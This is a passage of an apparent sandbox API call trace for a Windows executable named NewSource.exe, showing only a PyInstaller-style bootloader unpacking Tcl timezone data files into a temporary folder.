"c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian\\mahe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.967] GetLastError () returned 0x2 [0042.967] SetLastError (dwErrCode=0x2) [0042.967] GetLastError () returned 0x2 [0042.967] SetLastError (dwErrCode=0x2) [0042.967] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Mahe", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Mahe", lpFilePart=0x0) returned 0x43 [0042.967] GetLastError () returned 0x2 [0042.967] SetLastError (dwErrCode=0x2) [0042.967] GetLastError () returned 0x2 [0042.967] SetLastError (dwErrCode=0x2) [0042.967] GetLastError () returned 0x2 [0042.967] SetLastError (dwErrCode=0x2) [0042.967] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Mahe") returned 68 [0042.967] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.967] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Mahe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian\\mahe"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.967] GetFileType (hFile=0x10c) returned 0x1 [0042.967] htonl (hostlong=0x8f000000) returned 0x8f [0042.967] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.967] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x8f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x8f, lpOverlapped=0x0) returned 1 [0042.968] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.968] CloseHandle (hObject=0x10c) returned 1 [0042.968] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.968] htonl (hostlong=0x30000000) returned 0x30 [0042.968] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.968] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.968] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.969] GetFileType (hFile=0x10c) returned 0x1 [0042.969] htonl (hostlong=0x41d95c00) returned 0x5cd941 [0042.969] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x618941, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.969] htonl (hostlong=0x95000000) returned 0x95 [0042.969] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x95) returned 0x55cfe0 [0042.969] htonl (hostlong=0x95000000) returned 0x95 [0042.969] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.969] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.969] htonl (hostlong=0xb0000000) returned 0xb0 [0042.969] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb0) returned 0x550600 [0042.969] htonl (hostlong=0x95000000) returned 0x95 [0042.969] htonl (hostlong=0xb0000000) returned 0xb0 [0042.969] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.969] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.969] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.969] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.969] CloseHandle (hObject=0x10c) returned 1 [0042.969] GetLastError () returned 0x0 [0042.969] SetLastError (dwErrCode=0x0) [0042.969] GetLastError () returned 0x0 [0042.969] SetLastError (dwErrCode=0x0) [0042.969] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.969] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.969] GetFileType (hFile=0x10c) returned 0x1 [0042.969] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.969] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.970] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.970] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.970] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.970] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.970] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.970] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.970] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.970] CloseHandle (hObject=0x10c) returned 1 [0042.970] GetLastError () returned 0x0 [0042.970] SetLastError (dwErrCode=0x0) [0042.970] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.970] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.970] GetFileType (hFile=0x10c) returned 0x1 [0042.970] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.970] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.970] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.970] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.970] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.970] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.970] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.970] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.970] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.970] CloseHandle (hObject=0x10c) returned 1 [0042.970] GetLastError () returned 0x0 [0042.970] SetLastError (dwErrCode=0x0) [0042.971] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian") returned 63 [0042.971] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.971] GetFileType (hFile=0x10c) returned 0x1 [0042.971] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.971] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.971] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.971] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.971] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.971] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.971] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.971] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.971] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.971] CloseHandle (hObject=0x10c) returned 1 [0042.971] GetLastError () returned 0x0 [0042.971] SetLastError (dwErrCode=0x0) [0042.971] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Maldives") returned 72 [0042.971] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Maldives" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian\\maldives"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.971] GetLastError () returned 0x2 [0042.971] SetLastError (dwErrCode=0x2) [0042.971] GetLastError () returned 0x2 [0042.971] SetLastError (dwErrCode=0x2) [0042.971] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Maldives", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Maldives", lpFilePart=0x0) returned 0x47 [0042.971] GetLastError () returned 0x2 [0042.971] SetLastError (dwErrCode=0x2) [0042.972] GetLastError () returned 0x2 [0042.972] SetLastError (dwErrCode=0x2) [0042.972] GetLastError () returned 0x2 [0042.972] SetLastError (dwErrCode=0x2) [0042.972] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Maldives") returned 72 [0042.972] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.972] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Maldives" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian\\maldives"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.974] GetFileType (hFile=0x10c) returned 0x1 [0042.974] htonl (hostlong=0xb0000000) returned 0xb0 [0042.974] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.974] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb0, lpOverlapped=0x0) returned 1 [0042.975] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.975] CloseHandle (hObject=0x10c) returned 1 [0042.975] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.975] htonl (hostlong=0x30000000) returned 0x30 [0042.975] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.975] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.975] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.975] GetFileType (hFile=0x10c) returned 0x1 [0042.975] htonl (hostlong=0xd6d95c00) returned 0x5cd9d6 [0042.975] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6189d6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.975] htonl (hostlong=0xaf000000) returned 0xaf [0042.975] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xaf) returned 0x55cfe0 [0042.975] htonl (hostlong=0xaf000000) returned 0xaf [0042.975] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.975] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.976] htonl (hostlong=0x8010000) returned 0x108 [0042.976] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x108) returned 0x550600 [0042.976] htonl (hostlong=0xaf000000) returned 0xaf [0042.976] htonl (hostlong=0x8010000) returned 0x108 [0042.976] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.976] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.976] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.976] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.976] CloseHandle (hObject=0x10c) returned 1 [0042.976] GetLastError () returned 0x0 [0042.976] SetLastError (dwErrCode=0x0) [0042.976] GetLastError () returned 0x0 [0042.976] SetLastError (dwErrCode=0x0) [0042.976] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.976] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.976] GetFileType (hFile=0x10c) returned 0x1 [0042.976] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.976] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.976] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.976] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.976] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.976] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.976] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.976] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.976] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.976] CloseHandle (hObject=0x10c) returned 1 [0042.977] GetLastError () returned 0x0 [0042.977] SetLastError (dwErrCode=0x0) [0042.977] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.977] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.977] GetFileType (hFile=0x10c) returned 0x1 [0042.977] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.977] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.977] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.977] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.977] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.977] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.977] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.977] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.977] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.977] CloseHandle (hObject=0x10c) returned 1 [0042.977] GetLastError () returned 0x0 [0042.977] SetLastError (dwErrCode=0x0) [0042.977] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian") returned 63 [0042.977] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.977] GetFileType (hFile=0x10c) returned 0x1 [0042.977] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.977] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.977] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.977] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.978] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.978] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.978] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.978] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.978] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.978] CloseHandle (hObject=0x10c) returned 1 [0042.978] GetLastError () returned 0x0 [0042.978] SetLastError (dwErrCode=0x0) [0042.978] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Mauritius") returned 73 [0042.978] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Mauritius" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian\\mauritius"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.978] GetLastError () returned 0x2 [0042.978] SetLastError (dwErrCode=0x2) [0042.978] GetLastError () returned 0x2 [0042.978] SetLastError (dwErrCode=0x2) [0042.978] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Mauritius", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Mauritius", lpFilePart=0x0) returned 0x48 [0042.978] GetLastError () returned 0x2 [0042.978] SetLastError (dwErrCode=0x2) [0042.978] GetLastError () returned 0x2 [0042.978] SetLastError (dwErrCode=0x2) [0042.978] GetLastError () returned 0x2 [0042.978] SetLastError (dwErrCode=0x2) [0042.978] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Mauritius") returned 73 [0042.978] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, 